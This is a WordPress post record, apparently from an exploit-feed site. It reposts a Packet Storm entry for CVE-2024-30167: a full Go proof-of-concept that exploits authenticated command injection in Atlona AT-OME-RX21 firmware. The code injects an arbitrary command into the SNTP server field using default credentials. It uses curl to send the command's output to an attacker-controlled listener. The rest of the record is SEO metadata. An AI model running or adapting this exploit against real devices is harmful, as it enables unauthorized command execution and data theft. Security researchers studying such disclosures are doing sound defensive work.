{"id":51606,"date":"2026-05-05T17:49:14","date_gmt":"2026-05-05T17:49:14","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51606"},"modified":"2026-05-05T17:49:14","modified_gmt":"2026-05-05T17:49:14","slug":"atlona-at-ome-rx21-authenticated-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51606","title":{"rendered":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T21:43:57&#8243;,&#8221;description&#8221;:&#8221;Atlona AT-OME-RX21 suffers from an authenticated command injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220311&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-30167&#8243;],&#8221;sourceData&#8221;:&#8221;\/\/ Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection\\n    \/\/ Google Dork: N\/A\\n    \/\/ Date: 2025-12-28\\n    \/\/ Exploit Author: RIZZZIOM\\n    \/\/ Vendor Homepage: https:\/\/atlona.com\\n    \/\/ Software Link: https:\/\/atlona.com\/product\/at-ome-rx21\/\\n    \/\/ Version: Firmware \\u003c= 1.5.1\\n    \/\/ Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)\\n    \/\/ CVE : CVE-2024-30167\\n    \/\/ Usage: go run main.go -t \\u003ctarget_uri\\u003e -u \\u003cusername\\u003e -p \\u003cpassword\\u003e -l \\u003clhost\\u003e -P \\u003clport\\u003e -c \\u003ccommand\\u003e\\n    package main\\n    \\n    import (\\n    \\t\\&#8221;bytes\\&#8221;\\n    \\t\\&#8221;context\\&#8221;\\n    \\t\\&#8221;encoding\/base64\\&#8221;\\n    \\t\\&#8221;flag\\&#8221;\\n    \\t\\&#8221;fmt\\&#8221;\\n    \\t\\&#8221;io\\&#8221;\\n    \\t\\&#8221;net\/http\\&#8221;\\n    \\t\\&#8221;os\\&#8221;\\n    \\t\\&#8221;os\/signal\\&#8221;\\n    \\t\\&#8221;strings\\&#8221;\\n    \\t\\&#8221;syscall\\&#8221;\\n    \\t\\&#8221;time\\&#8221;\\n    )\\n    \\n    func main() {\\n    \\tbanner := `\\n    \\t\\t                                                                                  \\n                                                                                      \\n    \u2584\u2588\u2588\u2588\u2588\u2588 \u2588\u2588  \u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588    \u2588\u2588\u2588\u2588\u2584  \u2584\u2588\u2588\u2584 \u2588\u2588\u2588\u2588\u2584 \u2588\u2588  \u2588\u2588    \u2588\u2588\u2588\u2588\u2584  \u2584\u2588\u2588\u2584 \u2584\u2588\u2588 \u2584\u2588\u2588\u2580\u2580\u2580 \u2588\u2588\u2588\u2588\u2588\u2588 \\n    \u2588\u2588     \u2588\u2588\u2584\u2584\u2588\u2588 \u2588\u2588\u2584\u2584   \u2584\u2584\u2584 \u2584\u2588\u2588\u2580 \u2588\u2588  \u2588\u2588 \u2584\u2588\u2588\u2580 \u2580\u2588\u2588\u2588\u2588\u2588 \u2584\u2584\u2584 \u2584\u2584\u2588\u2588 \u2588\u2588  \u2588\u2588 \u2588\u2588 \u2588\u2588\u2584\u2584\u2584    \u2584\u2588\u2588\u2580 \\n    \u2580\u2588\u2588\u2588\u2588\u2588  \u2580\u2588\u2588\u2580  \u2588\u2588\u2584\u2584\u2584\u2584    \u2588\u2588\u2588\u2584\u2584  \u2580\u2588\u2588\u2580 \u2588\u2588\u2588\u2584\u2584     \u2588\u2588    \u2584\u2584\u2584\u2588\u2580  \u2580\u2588\u2588\u2580  \u2588\u2588 \u2580\u2588\u2584\u2584\u2588\u2580  \u2588\u2588\u2580   \\n                        \\n    \\t\\t\\tPoC by: github.com\/RIZZZIOM\\n    \\t`\\n    \\tfmt.Println(banner)\\n    \\n    \\ttarget := flag.String(\\&#8221;t\\&#8221;, \\&#8221;\\&#8221;, \\&#8221;Target URL (e.g: http:\/\/example.com)\\&#8221;)\\n    \\tusername := flag.String(\\&#8221;u\\&#8221;, \\&#8221;admin\\&#8221;, \\&#8221;Username for authentication\\&#8221;)\\n    \\tpassword := flag.String(\\&#8221;p\\&#8221;, \\&#8221;Atlona\\&#8221;, \\&#8221;Password for authentication\\&#8221;)\\n    \\tlport := flag.String(\\&#8221;P\\&#8221;, \\&#8221;4444\\&#8221;, \\&#8221;listening port for command output\\&#8221;)\\n    \\tlhost := flag.String(\\&#8221;l\\&#8221;, \\&#8221;\\&#8221;, \\&#8221;listening host for command output\\&#8221;)\\n    \\tcommand := flag.String(\\&#8221;c\\&#8221;, \\&#8221;\\&#8221;, \\&#8221;Command to execute on the target\\&#8221;)\\n    \\n    \\tflag.Parse()\\n    \\tif *target == \\&#8221;\\&#8221; || *lhost == \\&#8221;\\&#8221; || *command == \\&#8221;\\&#8221; {\\n    \\t\\tfmt.Println(\\&#8221;ERROR: Missing required parameters\\&#8221;)\\n    \\t\\tflag.PrintDefaults()\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    \\n    \\turl := strings.TrimRight(*target, \\&#8221;\/\\&#8221;) + \\&#8221;\/cgi-bin\/time.cgi\\&#8221;\\n    \\tlistener := *lhost + \\&#8221;:\\&#8221; + *lport\\n    \\n    \\t\/\/ Buffered channel to prevent goroutine blocking if receiver exits early\\n    \\tresponseChan := make(chan struct{}, 1)\\n    \\n    \\t\/\/ Create context for graceful shutdown coordination\\n    \\tctx, cancel := context.WithCancel(context.Background())\\n    \\tdefer cancel()\\n    \\n    \\t\/\/ Start HTTP server and get reference for shutdown\\n    \\tserver := httpServe(listener, responseChan, ctx)\\n    \\n    \\texecuteCommand(url, *username, *password, listener, *command)\\n    \\n    \\tsigChan := make(chan os.Signal, 1)\\n    \\tsignal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)\\n    \\n    \\t\/\/ Timeout to prevent indefinite waiting\\n    \\tresponseTimeout := time.NewTimer(30 * time.Second)\\n    \\tdefer responseTimeout.Stop()\\n    \\n    \\tselect {\\n    \\tcase \\u003c-responseChan:\\n    \\t\\ttime.Sleep(1 * time.Second)\\n    \\tcase \\u003c-sigChan:\\n    \\t\\tfmt.Printf(\\&#8221;\\\\n===Shutting Down===\\\\n\\&#8221;)\\n    \\tcase \\u003c-responseTimeout.C:\\n    \\t\\tfmt.Println(\\&#8221;\\\\n===Response Timeout &#8211; No response received===\\&#8221;)\\n    \\t}\\n    \\n    \\t\/\/ Graceful server shutdown\\n    \\tcancel() \/\/ Signal context cancellation\\n    \\tshutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)\\n    \\tdefer shutdownCancel()\\n    \\n    \\tif err := server.Shutdown(shutdownCtx); err != nil {\\n    \\t\\tfmt.Printf(\\&#8221;Server shutdown error: %v\\\\n\\&#8221;, err)\\n    \\t}\\n    }\\n    \\n    func executeCommand(url, username, password, listener, command string) {\\n    \\t\/\/ this func sends the commands to the target\\n    \\tpayload := fmt.Sprintf(`{\\&#8221;syncSntpTime\\&#8221;:{\\&#8221;serverName\\&#8221;:\\&#8221;time.google.com; curl -X POST &#8211;data \\\\\\&#8221;$(%s)\\\\\\&#8221; %s\\&#8221;}}`, command, listener)\\n    \\tauth := base64.StdEncoding.EncodeToString([]byte(username + \\&#8221;:\\&#8221; + password))\\n    \\treq, err := http.NewRequest(\\&#8221;POST\\&#8221;, url, bytes.NewBuffer([]byte(payload)))\\n    \\tif err != nil {\\n    \\t\\tpanic(err)\\n    \\t}\\n    \\treq.Header.Set(\\&#8221;User-Agent\\&#8221;, \\&#8221;Mozilla\/5.0 (Windows NT 10.0) Firefox\/143.0\\&#8221;)\\n    \\treq.Header.Set(\\&#8221;Content-Type\\&#8221;, \\&#8221;application\/json\\&#8221;)\\n    \\treq.Header.Set(\\&#8221;Authorization\\&#8221;, \\&#8221;Basic \\&#8221;+auth)\\n    \\treq.Header.Set(\\&#8221;X-Requested-With\\&#8221;, \\&#8221;XMLHttpRequest\\&#8221;)\\n    \\n    \\tclient := \\u0026http.Client{\\n    \\t\\tTimeout: 15 * time.Second,\\n    \\t}\\n    \\n    \\tresp, err := client.Do(req)\\n    \\tif err != nil {\\n    \\t\\tfmt.Printf(\\&#8221;ERROR: Request failed: %v\\\\n\\&#8221;, err)\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    \\tdefer resp.Body.Close()\\n    \\n    \\tswitch resp.StatusCode {\\n    \\tcase 200:\\n    \\t\\tfmt.Println(\\&#8221;Command Injection Successful\\&#8221;)\\n    \\tcase 401, 403:\\n    \\t\\tfmt.Printf(\\&#8221;ERROR: Authentication Failed (HTTP %d)\\\\n\\&#8221;, resp.StatusCode)\\n    \\tcase 404:\\n    \\t\\tfmt.Printf(\\&#8221;ERROR: Target Endpoint Not Found.\\\\n\\&#8221;)\\n    \\tdefault:\\n    \\t\\tfmt.Printf(\\&#8221;ERROR: Unexpected Response (HTTP %d)\\\\n\\&#8221;, resp.StatusCode)\\n    \\t\\tbody, _ := io.ReadAll(resp.Body)\\n    \\t\\tif len(body) \\u003e 0 {\\n    \\t\\t\\tfmt.Printf(\\&#8221;Response Body: %s\\\\n\\&#8221;, string(body))\\n    \\t\\t}\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    }\\n    \\n    func getResponse(r *http.Request, responseChan chan struct{}) {\\n    \\t\/\/ this function serves and http server and collects response\\n    \\tif r.Method != http.MethodPost {\\n    \\t\\tfmt.Printf(\\&#8221;Received non-POST Request(%s)\\\\n\\&#8221;, r.Method)\\n    \\t\\treturn\\n    \\t}\\n    \\tdefer r.Body.Close()\\n    \\tfmt.Println(\\&#8221;\\\\n=====Received Response=====\\&#8221;)\\n    \\n    \\tbody, err := io.ReadAll(r.Body)\\n    \\tif err != nil {\\n    \\t\\tfmt.Printf(\\&#8221;Failed To Read Response Body: %v\\\\n\\&#8221;, err)\\n    \\t\\treturn\\n    \\t}\\n    \\tfmt.Println(string(body))\\n    \\n    \\t\/\/ Non-blocking send to prevent goroutine deadlock\\n    \\tselect {\\n    \\tcase responseChan \\u003c- struct{}{}:\\n    \\tdefault:\\n    \\t}\\n    }\\n    \\n    func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {\\n    \\t\/\/ this function gets the command injection response from the custom header\\n    \\tmux := http.NewServeMux()\\n    \\tmux.HandleFunc(\\&#8221;\/\\&#8221;, func(w http.ResponseWriter, r *http.Request) {\\n    \\t\\tgetResponse(r, responseChan)\\n    \\t\\tw.WriteHeader(http.StatusNoContent)\\n    \\t})\\n    \\n    \\tserver := \\u0026http.Server{\\n    \\t\\tAddr:           listener,\\n    \\t\\tHandler:        mux,\\n    \\t\\tMaxHeaderBytes: 20 * 1024 * 1024,\\n    \\t\\tReadTimeout:    30 * time.Second,\\n    \\t\\tWriteTimeout:   30 * time.Second,\\n    \\t\\tIdleTimeout:    60 * time.Second,\\n    \\t}\\n    \\n    \\tfmt.Printf(\\&#8221;Listening on %s for response&#8230;\\\\n\\&#8221;, listener)\\n    \\n    \\tgo func() {\\n    \\t\\tif err := server.ListenAndServe(); err != nil \\u0026\\u0026 err != http.ErrServerClosed {\\n    \\t\\t\\tfmt.Printf(\\&#8221;ERROR: Server error: %v\\\\n\\&#8221;, err)\\n    \\t\\t}\\n    \\t}()\\n    \\n    \\treturn server\\n    }&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220311&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220311\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T21:43:57&#8243;,&#8221;description&#8221;:&#8221;Atlona AT-OME-RX21 suffers from an authenticated command injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220311&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-30167&#8243;],&#8221;sourceData&#8221;:&#8221;\/\/ Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection\\n \/\/ Google Dork: N\/A\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-51606","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51606\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-05T21:43:57&#8243;,&#8221;description&#8221;:&#8221;Atlona AT-OME-RX21 suffers from an authenticated command injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220311&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-30167&#8243;],&#8221;sourceData&#8221;:&#8221;\/\/ Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injectionn \/\/ Google Dork: N\/An...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=51606\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-05T17:49:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311\",\"datePublished\":\"2026-05-05T17:49:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606\"},\"wordCount\":1035,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51606#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606\",\"name\":\"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-05T17:49:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51606\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51606#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=51606","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-05T21:43:57&#8243;,&#8221;description&#8221;:&#8221;Atlona AT-OME-RX21 suffers from an authenticated command injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220311&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-30167&#8243;],&#8221;sourceData&#8221;:&#8221;\/\/ Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injectionn \/\/ Google Dork: N\/An...","og_url":"https:\/\/zero.redgem.net\/?p=51606","og_site_name":"zero redgem","article_published_time":"2026-05-05T17:49:14+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=51606#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=51606"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311","datePublished":"2026-05-05T17:49:14+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=51606"},"wordCount":1035,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=51606#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=51606","url":"https:\/\/zero.redgem.net\/?p=51606","name":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-05T17:49:14+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=51606#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=51606"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=51606#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Atlona AT-OME-RX21 Authenticated Command Injection_PACKETSTORM:220311"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51606","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=51606"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51606\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=51606"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=51606"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=51606"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}